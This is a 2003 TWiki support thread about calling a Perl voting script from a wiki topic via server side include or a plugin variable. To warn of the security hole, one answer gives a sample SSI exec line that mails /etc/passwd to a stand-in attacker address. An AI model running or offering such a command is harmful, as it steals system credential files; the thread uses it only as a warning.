Question
Is it possible to include a server side include within a topic to call up a perl script? I'll looking to use a perl script for voting that goes beyond
PollPlugin and the instructions are to include this tag in a page:
<!--#exec cmd="/virtual/path/to/script/vote.pl datafile"-->
Can we do something like this in TWiki?
--
LynnwoodBrown - 25 May 2003
Answer
You could easily extend the syntax, for example in the commonTagsHandler callback of a Plugin. Please be aware that this would open a severe security hole, e.g.
<!--#exec cmd="/usr/bin/mail badboy@hackercity.com < /etc/passwd"-->
Better to create a new variable (e.g.
%VOTESCRIPT%) and execute your script with hardcoded path. Example, not tested:
sub commonTagsHandler
{
### my ( $text, $topic, $web ) = @_; # do not uncomment, use $_[0], $_[1]... instead
$_[0] =~ s|%VOTESCRIPT%|`/virtual/path/to/script/vote.pl datafile`|ge;
}
--
PeterThoeny - 25 May 2003
Thanks Peter. I'm sorry to say I don't understand the answer. I don't understand the role of the variable nor where to place this bit of code. Getting in over my head again...
--
LynnwoodBrown - 26 May 2003
Place the variable in a topic where you want the poll action; place the code (just the
$_[0] =~ ... line) inside the commonTagsHandler function of a Plugin, e.g. the
DefaultPlugin.
Another approach: In case your script is a cgi-script, do a server side include like
%INCLUDE{"http://yourdomain.com/path/to/your/script.pl"}%
--
PeterThoeny - 26 May 2003